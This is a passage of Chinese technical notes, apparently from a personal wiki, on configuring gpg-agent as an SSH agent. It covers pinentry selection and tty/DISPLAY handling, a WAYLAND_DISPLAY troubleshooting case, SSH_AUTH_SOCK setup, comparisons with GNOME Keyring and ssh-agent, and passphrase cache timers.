&lt;li&gt;源码确认 &lt;code&gt;PASSWD&lt;&#x2F;code&gt; 用 &lt;code&gt;CACHE_MODE_IGNORE&lt;&#x2F;code&gt; &lt;strong&gt;强制询问旧口令&lt;&#x2F;strong&gt;（不受 TTL 缓存影响）；随后 &lt;code&gt;agent_protect_and_store&lt;&#x2F;code&gt; 用新口令重写 &lt;code&gt;.key&lt;&#x2F;code&gt; 文件&lt;&#x2F;li&gt;
&lt;li&gt;可选参数：&lt;code&gt;--preset&lt;&#x2F;code&gt; 把新口令加入缓存；&lt;code&gt;--verify&lt;&#x2F;code&gt; 只验证口令不改&lt;&#x2F;li&gt;
&lt;li&gt;不要用&quot;删 .key 文件再重新导入&quot;的方式改口令：不验证旧口令、有误删风险，且只删登记不删文件时 gpg-agent 会静默复用旧副本（不会弹新口令）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;查看 gpg-agent 管理了哪些密钥&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;export SSH_AUTH_SOCK=&amp;quot;$(gpgconf --list-dirs agent-ssh-socket)&amp;quot;
ssh-add -l                    # SSH 密钥指纹; -L 显示公钥
gpg --list-secret-keys --keyid-format long   # GPG 私钥(sec&amp;#x2F;ssb)
ls ~&amp;#x2F;.gnupg&amp;#x2F;private-keys-v1.d&amp;#x2F;               # 实际私钥文件(keygrip.key), SSH&amp;#x2F;GPG 都在这里
grep -v &amp;#x27;^#\|^$&amp;#x27; ~&amp;#x2F;.gnupg&amp;#x2F;sshcontrol         # 允许用作 SSH 的 keygrip
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;pinentry-program-bi-xu-shi-jue-dui-lu-jing&quot;&gt;pinentry-program 必须是绝对路径&lt;&#x2F;h3&gt;
&lt;p&gt;实测：gpg-agent &lt;strong&gt;不做 PATH 搜索&lt;&#x2F;strong&gt;，&lt;code&gt;pinentry-program pinentry-curses&lt;&#x2F;code&gt;（纯名字）会报 &lt;code&gt;can&#x27;t exec &#x27;pinentry-curses&#x27;&lt;&#x2F;code&gt;；&lt;code&gt;pinentry-program &#x2F;usr&#x2F;bin&#x2F;pinentry-curses&lt;&#x2F;code&gt;（绝对路径）正常。想放自定义同名程序靠 PATH 回退不可行，回退逻辑必须由 wrapper 脚本内部完成。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;pinentry-ru-he-na-dao-display-tty-gpg-agent-yuan-ma-yan-zheng&quot;&gt;pinentry 如何拿到 DISPLAY &#x2F; tty（gpg-agent 源码验证）&lt;&#x2F;h3&gt;
&lt;p&gt;pinentry 由 gpg-agent 后台进程启动，自身环境没有 DISPLAY&#x2F;tty，信息靠两条路传递（源码 &lt;code&gt;agent&#x2F;call-pinentry.c&lt;&#x2F;code&gt; 的 &lt;code&gt;start_pinentry()&lt;&#x2F;code&gt;）：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;DISPLAY&lt;&#x2F;strong&gt;：gpg 客户端连 agent 时通过 assuan 发 &lt;code&gt;OPTION display=...&lt;&#x2F;code&gt;（实测 &lt;code&gt;gpg --debug=all&lt;&#x2F;code&gt; 可见）；gpg-agent 收到后存进 session_env，启动 pinentry 时以 &lt;strong&gt;argv &lt;code&gt;--display &amp;lt;值&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt; 传入（同时 atfork setenv DISPLAY，供 QT_QPA_PLATFORMTHEME 等工具用）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;ttyname&lt;&#x2F;strong&gt;：gpg 客户端发 &lt;code&gt;OPTION ttyname=&#x2F;dev&#x2F;pts&#x2F;N&lt;&#x2F;code&gt;（或 &lt;code&gt;GPG_TTY&lt;&#x2F;code&gt; 环境），gpg-agent 转发为 assuan &lt;code&gt;OPTION ttyname=...&lt;&#x2F;code&gt; 给 pinentry&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;所以&quot;gpg-agent daemon 环境没有 DISPLAY&quot;不影响 pinentry-gnome3——显示信息走的是&lt;strong&gt;客户端 → agent → pinentry 参数链&lt;&#x2F;strong&gt;，与 agent 自身环境无关。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;pinentry-gnome3-de-yi-lai-yu-hui-tui-gcr-prompter&quot;&gt;pinentry-gnome3 的依赖与回退（Gcr prompter）&lt;&#x2F;h3&gt;
&lt;p&gt;实测 &lt;code&gt;ldd &#x2F;usr&#x2F;bin&#x2F;pinentry-gnome3&lt;&#x2F;code&gt;：&lt;strong&gt;不依赖 GTK&#x2F;Wayland&lt;&#x2F;strong&gt;，而是 &lt;code&gt;libgcr-base-3&lt;&#x2F;code&gt;（Gcr prompter）+ &lt;code&gt;libncursesw&lt;&#x2F;code&gt;。其 GUI 弹窗机制：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;pinentry-gnome3 → D-Bus → Gcr System Prompter(gnome-keyring 桌面服务) → 桌面弹窗
                  └─ 无 prompter → fallback curses → 需要 tty
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;桌面会话（GNOME 桌面 + gnome-keyring）：Gcr prompter 可用 → GUI 弹窗（X11&#x2F;Wayland 由桌面决定）&lt;&#x2F;li&gt;
&lt;li&gt;SSH 会话 &#x2F; 无桌面：无 Gcr prompter（实测输出 &quot;No Gcr System Prompter available, falling back to curses&quot;）→ fallback curses&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;fallback 目标是 curses（tty 文本模式）&lt;&#x2F;strong&gt;，不是另一个 GUI；askpass 无 tty 时 fallback 后依然失败&lt;&#x2F;li&gt;
&lt;li&gt;因此：桌面场景 &lt;code&gt;pinentry-program &#x2F;usr&#x2F;bin&#x2F;pinentry-gnome3&lt;&#x2F;code&gt; 体验最好；SSH&#x2F;无头场景它自动等价于 curses；无 tty 无显示的 askpass 场景两者都失败，靠 sudo-askpass 层兜底提示（去终端手动 &lt;code&gt;pass show sudo&lt;&#x2F;code&gt; 解锁）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;ssh-chang-jing-shi-ce-shi-xiao-wayland-display-wu-ran-rang-gnome3-wu-pan-you-gui-2026-08-09&quot;&gt;SSH 场景实测失效：WAYLAND_DISPLAY 污染让 gnome3 误判&quot;有 GUI&quot;（2026-08-09）&lt;&#x2F;h4&gt;
&lt;p&gt;上面&quot;SSH 会话 → fallback curses&quot;的结论在&lt;strong&gt;实际 SSH 登录下并不可靠&lt;&#x2F;strong&gt;。前提&quot;SSH 会话无 Gcr prompter&quot;在本机不成立：SSH 会话与桌面会话&lt;strong&gt;共享同一 user session bus&lt;&#x2F;strong&gt;（&lt;code&gt;&#x2F;run&#x2F;user&#x2F;&amp;lt;uid&amp;gt;&#x2F;bus&lt;&#x2F;code&gt;），&lt;code&gt;org.gnome.keyring.SystemPrompter&lt;&#x2F;code&gt; 在总线上是存在的——所以 gnome3 走 GUI 路径后，弹窗出现在&lt;strong&gt;本地桌面&lt;&#x2F;strong&gt;，远程用户看不见，干等超时。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;现象&lt;&#x2F;strong&gt;：&lt;code&gt;git pull&lt;&#x2F;code&gt; 报 &lt;code&gt;sign_and_send_pubkey ... agent refused operation&lt;&#x2F;code&gt;；gpg-agent 日志反复 &lt;code&gt;ssh sign request failed: 超时 &amp;lt;Pinentry&amp;gt;&lt;&#x2F;code&gt;；pinentry-gnome3 进程被拉起却没有任何提示。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;根因&lt;&#x2F;strong&gt;：pinentry-gnome3 只要看到&lt;strong&gt;非空 &lt;code&gt;WAYLAND_DISPLAY&lt;&#x2F;code&gt;（或 &lt;code&gt;DISPLAY&lt;&#x2F;code&gt;）就判定&quot;有 GUI&quot;&lt;&#x2F;strong&gt;，跳过 Gcr prompter 不可用时的 curses 回退。SSH 场景这个值有两个来源，&lt;strong&gt;永远非空&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;gpg-agent 继承 systemd user manager 环境&lt;&#x2F;strong&gt;：&lt;code&gt;systemctl --user show-environment&lt;&#x2F;code&gt; 里有真实桌面的 &lt;code&gt;WAYLAND_DISPLAY=wayland-0&lt;&#x2F;code&gt;、&lt;code&gt;DISPLAY=:0&lt;&#x2F;code&gt;、&lt;code&gt;XAUTHORITY=...mutter...&lt;&#x2F;code&gt;。注意 &lt;code&gt;systemctl --user show gpg-agent&lt;&#x2F;code&gt; 显示 &lt;code&gt;Environment=&lt;&#x2F;code&gt; 为空&lt;strong&gt;不代表没有&lt;&#x2F;strong&gt;——systemd 服务会&lt;strong&gt;继承&lt;&#x2F;strong&gt; manager 环境，只看 &lt;code&gt;show&lt;&#x2F;code&gt; 的显式设置会被误导。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;UPDATESTARTUPTTY 传客户端的 WAYLAND_DISPLAY&lt;&#x2F;strong&gt;：&lt;code&gt;~&#x2F;.ssh&#x2F;config&lt;&#x2F;code&gt; 每次 ssh 前跑 &lt;code&gt;gpg-connect-agent UPDATESTARTUPTTY &#x2F;bye&lt;&#x2F;code&gt;，会把&lt;strong&gt;发起 ssh 的客户端进程的 WAYLAND_DISPLAY 原样传给 gpg-agent&lt;&#x2F;strong&gt;。tmux server 启动时继承旧会话的孤儿 socket（如 &lt;code&gt;wayland-dPTUuQSK&lt;&#x2F;code&gt;），wlyank.sh 旧版兜底还会换成&quot;最新&quot;的死 socket（如 &lt;code&gt;wayland-XiKmbyg7&lt;&#x2F;code&gt;）——实测 pinentry 拿到过这个孤儿值。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;结果：连死 socket → 窗口永远创建不出来；拿 wayland-0 → 弹在本地桌面、远程看不见。&lt;strong&gt;从 SSH 视角都是&quot;没有正常弹窗&quot;&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;结论&lt;&#x2F;strong&gt;：SSH 场景别指望 pinentry-gnome3 自动回退 curses，&lt;strong&gt;固定 &lt;code&gt;pinentry-program &#x2F;usr&#x2F;bin&#x2F;pinentry-curses&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;（提示画在发起 ssh 的终端）。配套清理：&lt;code&gt;.my_zshrc&lt;&#x2F;code&gt; 在 tty 会话 unset WAYLAND_DISPLAY；wlyank.sh 兜底改为用 &lt;code&gt;.lock&lt;&#x2F;code&gt; 的 flock 检测合成器存活。若想保留 gnome3，需给 gpg-agent 加 systemd drop-in &lt;code&gt;UnsetEnvironment=WAYLAND_DISPLAY DISPLAY&lt;&#x2F;code&gt; 让回退恒生效（效果等同 curses）。gpg-agent 无&quot;按连接选 pinentry&quot;的能力，&lt;strong&gt;桌面 GUI 弹窗与 SSH 终端提示无法一套配置两全&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;huan-jing-bian-liang-pei-zhi-ssh-auth-sock&quot;&gt;环境变量配置（SSH_AUTH_SOCK）&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;SSH_AUTH_SOCK&lt;&#x2F;code&gt; 是给 &lt;strong&gt;ssh 客户端进程&lt;&#x2F;strong&gt;看的（告诉它去哪找 agent socket），不是 agent 自己需要的——所以&lt;strong&gt;不是启动 agent 时配置&lt;&#x2F;strong&gt;，而是写进 shell 配置文件，每个新会话自动生效：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;sh&quot; class=&quot;language-sh &quot;&gt;&lt;code class=&quot;language-sh&quot; data-lang=&quot;sh&quot;&gt;# ~&amp;#x2F;.zshrc 或 ~&amp;#x2F;.bashrc（写一次）
export SSH_AUTH_SOCK=&amp;quot;$(gpgconf --list-dirs agent-ssh-socket)&amp;quot;
gpg-connect-agent updatestartuptty &amp;#x2F;bye &amp;gt;&amp;#x2F;dev&amp;#x2F;null   # 告诉 agent 当前 tty，pinentry 弹对地方
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;gpg-agent 无需手动启动（systemd socket 激活，用到才拉起）；socket 路径固定（&lt;code&gt;&#x2F;run&#x2F;user&#x2F;&amp;lt;uid&amp;gt;&#x2F;gnupg&#x2F;S.gpg-agent.ssh&lt;&#x2F;code&gt;），可动态查询&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;只影响新会话&lt;&#x2F;strong&gt;：正在运行的终端不生效，重开终端或 &lt;code&gt;source&lt;&#x2F;code&gt; 后生效&lt;&#x2F;li&gt;
&lt;li&gt;桌面（GNOME&#x2F;systemd）常自动启动 ssh-agent，切换后先确认 &lt;code&gt;echo $SSH_AUTH_SOCK&lt;&#x2F;code&gt; 指向 gpg-agent 的路径，否则 ssh 走错 agent&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;遗留的 ssh-agent 自动启动逻辑同样会劫持&lt;&#x2F;strong&gt;：迁移 gpg-agent 方案前写的老 rc 函数（如 &lt;code&gt;sshagent()&lt;&#x2F;code&gt; + &lt;code&gt;~&#x2F;.pid_ssh_agent&lt;&#x2F;code&gt; 持久化）可能在某次 &lt;code&gt;ssh-add -l&lt;&#x2F;code&gt; 失败时启动独立 ssh-agent 并 &lt;code&gt;export SSH_AUTH_SOCK&lt;&#x2F;code&gt;，此后&lt;strong&gt;所有新 shell 都 source 复用这个空 agent&lt;&#x2F;strong&gt;，gpg-agent 被彻底绕过，且 &lt;code&gt;keyinfo&lt;&#x2F;code&gt; 缓存一切正常极具迷惑性（详见问答 Q7）&lt;&#x2F;li&gt;
&lt;li&gt;验证：&lt;code&gt;echo $SSH_AUTH_SOCK&lt;&#x2F;code&gt;（应含 &lt;code&gt;gnupg&#x2F;S.gpg-agent.ssh&lt;&#x2F;code&gt;）+ &lt;code&gt;ssh-add -l&lt;&#x2F;code&gt;（应列出密钥）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;yu-gnome-keyring-ubuntu-zhuo-mian-mo-ren-de-dui-bi&quot;&gt;与 GNOME Keyring（Ubuntu 桌面默认）的对比&lt;&#x2F;h3&gt;
&lt;p&gt;Ubuntu + GNOME 桌面的&lt;strong&gt;默认 SSH agent 是 gnome-keyring 的 gcr-ssh-agent&lt;&#x2F;strong&gt;（&lt;code&gt;&#x2F;run&#x2F;user&#x2F;&amp;lt;uid&amp;gt;&#x2F;keyring&#x2F;ssh&lt;&#x2F;code&gt;），不是 OpenSSH ssh-agent——ssh-agent 只在无桌面&#x2F;服务器环境才是默认。GNOME 通过 PAM（&lt;code&gt;pam_gnome_keyring.so&lt;&#x2F;code&gt;）在图形登录时拉起它并设置 &lt;code&gt;SSH_AUTH_SOCK&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;&#x2F;th&gt;&lt;th&gt;GNOME Keyring&lt;&#x2F;th&gt;&lt;th&gt;gpg-agent&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;存储&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;login.keyring&lt;&#x2F;code&gt; 加密文件&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;private-keys-v1.d&lt;&#x2F;code&gt; 加密文件&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;持久化&lt;&#x2F;td&gt;&lt;td&gt;✓ 重启不丢&lt;&#x2F;td&gt;&lt;td&gt;✓ 重启不丢&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;登记密钥&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;隐式&lt;&#x2F;strong&gt;：首次 ssh 自动弹 GUI 框，勾选&quot;自动解锁&quot;即登记&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;显式一次&lt;&#x2F;strong&gt;：&lt;code&gt;ssh-add&lt;&#x2F;code&gt; 或写 sshcontrol&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;解锁时机&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;仅 GUI 登录时&lt;&#x2F;strong&gt;（PAM 用登录密码）&lt;&#x2F;td&gt;&lt;td&gt;任意时刻，终端&#x2F;无头均可&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;解锁交互&lt;&#x2F;td&gt;&lt;td&gt;只能 GUI 对话框&lt;&#x2F;td&gt;&lt;td&gt;pinentry-curses 终端输入 &#x2F; pinentry-gnome3 弹框&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;解锁窗口&lt;&#x2F;td&gt;&lt;td&gt;整个 GUI 会话（登录→注销）&lt;&#x2F;td&gt;&lt;td&gt;TTL 可配（闲置 + 绝对上限）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;无 GUI 环境&lt;&#x2F;td&gt;&lt;td&gt;不可用（SSH 远程、无头全废）&lt;&#x2F;td&gt;&lt;td&gt;可用&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;要点：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;keyring 的解锁交互&lt;strong&gt;只能在 GUI 上发生&lt;&#x2F;strong&gt;：SSH 终端里输不了，无头远程时对话框挂死；gpg-agent 的 pinentry-curses 是终端输入，不受 GUI 限制&lt;&#x2F;li&gt;
&lt;li&gt;gpg-agent 没有隐式登记机制：它只认 keystore 里的密钥（agent 根本看不到 &lt;code&gt;~&#x2F;.ssh&#x2F;id_xxx&lt;&#x2F;code&gt; 文件），登记必须显式一次；之后首次使用自动弹 pinentry 解锁，体验等同 keyring 的&quot;自动解锁&quot;&lt;&#x2F;li&gt;
&lt;li&gt;若想要 keyring 那种 GUI 弹框手感：gpg-agent.conf 改 &lt;code&gt;pinentry-program &#x2F;usr&#x2F;bin&#x2F;pinentry-gnome3&lt;&#x2F;code&gt;（无 GUI 时可切回 curses）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;wei-shen-me-ssh-agent-qi-dong-shi-shu-chu-bian-liang-er-gpg-agent-shi-gu-ding-lu-jing&quot;&gt;为什么 ssh-agent 启动时输出变量，而 gpg-agent 是固定路径？&lt;&#x2F;h3&gt;
&lt;p&gt;两种设计哲学，核心差异是&quot;安全性靠什么、谁能找到 agent&quot;：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;&#x2F;th&gt;&lt;th&gt;ssh-agent&lt;&#x2F;th&gt;&lt;th&gt;gpg-agent&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;时代&lt;&#x2F;td&gt;&lt;td&gt;1995 年，无 systemd&#x2F;XDG 规范，共享 &#x2F;tmp&lt;&#x2F;td&gt;&lt;td&gt;2007 年（GnuPG 2.x），已有每用户 runtime 目录规范&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;发现机制&lt;&#x2F;td&gt;&lt;td&gt;环境变量传播（必须 shell 子进程）&lt;&#x2F;td&gt;&lt;td&gt;固定路径约定（任何同用户进程可发现）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;多实例&lt;&#x2F;td&gt;&lt;td&gt;支持（会话隔离是特性）&lt;&#x2F;td&gt;&lt;td&gt;单例（一个用户一个 daemon）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;安全&lt;&#x2F;td&gt;&lt;td&gt;路径不可猜 + 会话隔离&lt;&#x2F;td&gt;&lt;td&gt;文件权限（0700）+ 用户隔离&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;代价&lt;&#x2F;td&gt;&lt;td&gt;cron&#x2F;服务&#x2F;转发场景要特殊处理（agent forwarding 就是补丁）&lt;&#x2F;td&gt;&lt;td&gt;同用户进程都能连&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;ssh-agent 的随机路径（&lt;code&gt;&#x2F;tmp&#x2F;ssh-XXXX&#x2F;agent.PID&lt;&#x2F;code&gt;）是 90 年代共享目录下的生存策略：路径不可预测防猜解 + 每个会话独立实例，所以启动时必须用 &lt;code&gt;eval $(ssh-agent)&lt;&#x2F;code&gt; 把随机路径和 &lt;code&gt;SSH_AGENT_PID&lt;&#x2F;code&gt; 传回 shell。gpg-agent 是&quot;全家的钥匙柜固定放在老地方&quot;：路径固定意味着 systemd 能 socket 激活、cron&#x2F;服务等无 shell 环境的调用方也能靠约定找到它，安全靠目录权限而非路径隐藏。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;yu-jing-dian-ssh-agent-de-chai-yi-mi-ma-ti-shi-zai-na-yi-ce-chang-jian-wu-qu&quot;&gt;与经典 ssh-agent 的差异：密码提示在哪一侧（常见误区）&lt;&#x2F;h3&gt;
&lt;p&gt;误以为 gpg-agent 当 ssh-agent 时行为等同 ssh-agent，实际&lt;strong&gt;密码提示的归属完全不同&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;&#x2F;th&gt;&lt;th&gt;经典 ssh-agent&lt;&#x2F;th&gt;&lt;th&gt;gpg-agent&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;ssh-add 时&lt;&#x2F;td&gt;&lt;td&gt;ssh-add &lt;strong&gt;自己&lt;&#x2F;strong&gt;读密钥、在当前终端提示，把&lt;strong&gt;解密后的私钥&lt;&#x2F;strong&gt;交给 agent&lt;&#x2F;td&gt;&lt;td&gt;输完原口令后，gpg-agent 再拉 pinentry 为落盘副本设保护口令&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;密钥存放&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;只存内存&lt;&#x2F;strong&gt;，重启即失&lt;&#x2F;td&gt;&lt;td&gt;加密落盘 &lt;code&gt;~&#x2F;.gnupg&#x2F;private-keys-v1.d&#x2F;&lt;&#x2F;code&gt;，重启不丢&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;ssh 认证时&lt;&#x2F;td&gt;&lt;td&gt;用内存解密密钥签名，&lt;strong&gt;永不提示&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;缓存过期后要解密落盘副本 → &lt;strong&gt;再次弹 pinentry&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;提示归属&lt;&#x2F;td&gt;&lt;td&gt;客户端（ssh-add 所在终端）&lt;&#x2F;td&gt;&lt;td&gt;agent 守护进程（要猜画到哪个终端）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ssh-agent&lt;&#x2F;strong&gt;：提示永远发生在 &lt;code&gt;ssh-add&lt;&#x2F;code&gt; 的调用终端（客户端行为），agent 只签名不碰密码 → 天然没有&quot;弹窗错位&quot;，也不需要 &lt;code&gt;GPG_TTY&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;updatestartuptty&lt;&#x2F;code&gt; 这套机制。代价：agent 重启（注销&#x2F;重启）密钥全丢，每次登录都要重新 &lt;code&gt;ssh-add&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;gpg-agent&lt;&#x2F;strong&gt;：持久化换来重启不丢密钥，但 SSH 协议不带 ttyname，agent 只能靠全局 startup_tty → 要密码的时机从 ssh-add 扩散到缓存过期后的&lt;strong&gt;任意 ssh 操作&lt;&#x2F;strong&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;多终端弹窗错位（pinentry-curses 特有，常见坑）&lt;&#x2F;strong&gt;：startup_tty = &quot;最后一次执行 &lt;code&gt;updatestartuptty&lt;&#x2F;code&gt; 的终端&quot;。每次开 shell 都跑一次，最后 source 的那个终端成为唯一目标：终端 A 跑命令、弹窗却画到终端 B。缓解：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;只在&lt;strong&gt;密钥未缓存&lt;&#x2F;strong&gt;时弹：&lt;code&gt;default-cache-ttl-ssh&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;max-cache-ttl-ssh&lt;&#x2F;code&gt; 配 12h 后 ssh 认证基本零弹窗；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;gpg&#x2F;pass 路径不受影响&lt;&#x2F;strong&gt;：gpg 客户端每次连接自带 ttyname，弹窗始终跟随执行命令的终端，&lt;code&gt;pass show sudo&lt;&#x2F;code&gt; 永远不错位；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;pinentry-gnome3 桌面场景不受影响&lt;&#x2F;strong&gt;：走 Gcr prompter GUI，与终端无关；&lt;&#x2F;li&gt;
&lt;li&gt;想精确跟随：&lt;code&gt;~&#x2F;.ssh&#x2F;config&lt;&#x2F;code&gt; 加下面一行，让每次 ssh 前把 startup_tty 刷新为当前终端（前提：rc 已 &lt;code&gt;export GPG_TTY=$(tty)&lt;&#x2F;code&gt;）。&lt;strong&gt;run.sh 的 &lt;code&gt;install_gpg_agent&lt;&#x2F;code&gt; 已自动写入本配置&lt;&#x2F;strong&gt;：&lt;pre&gt;&lt;code&gt;Match host * exec &amp;quot;gpg-connect-agent UPDATESTARTUPTTY &amp;#x2F;bye&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;strong&gt;语法坑&lt;&#x2F;strong&gt;：&lt;code&gt;exec&lt;&#x2F;code&gt; 是 Match 的&lt;strong&gt;条件（criterion）&lt;&#x2F;strong&gt;，必须写在 &lt;code&gt;Match&lt;&#x2F;code&gt; 行内，不能缩进另起一行当块内指令——后者实测报 &lt;code&gt;Bad configuration option: exec&lt;&#x2F;code&gt;（OpenSSH 8.4+ 才有此关键字，验证用 &lt;code&gt;ssh -G -F &amp;lt;config&amp;gt; localhost&lt;&#x2F;code&gt;）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;一句话&lt;&#x2F;strong&gt;：ssh-agent 靠&quot;内存解密密钥 + 提示留在客户端&quot;回避错位；gpg-agent 靠持久化换便利，代价是 &lt;code&gt;GPG_TTY&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;updatestartuptty&lt;&#x2F;code&gt; 这套弹窗定位机制。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;kou-ling-huan-cun-ji-zhi-ttl-yi-cai-keng&quot;&gt;口令缓存机制（TTL，易踩坑）&lt;&#x2F;h3&gt;
&lt;p&gt;gpg-agent 有&lt;strong&gt;两对&lt;&#x2F;strong&gt;独立计时器，只配一个会踩坑：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;计时器&lt;&#x2F;th&gt;&lt;th&gt;默认&lt;&#x2F;th&gt;&lt;th&gt;语义&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;default-cache-ttl&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;600s&lt;&#x2F;td&gt;&lt;td&gt;闲置超时，每次使用重置&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;max-cache-ttl&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;7200s&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;绝对上限&lt;&#x2F;strong&gt;：从缓存创建起算，连续使用也照样过期&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;default-cache-ttl-ssh&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;1800s&lt;&#x2F;td&gt;&lt;td&gt;SSH 密钥专属闲置超时&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;max-cache-ttl-ssh&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;7200s&lt;&#x2F;td&gt;&lt;td&gt;SSH 密钥专属绝对上限&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;ul&gt;
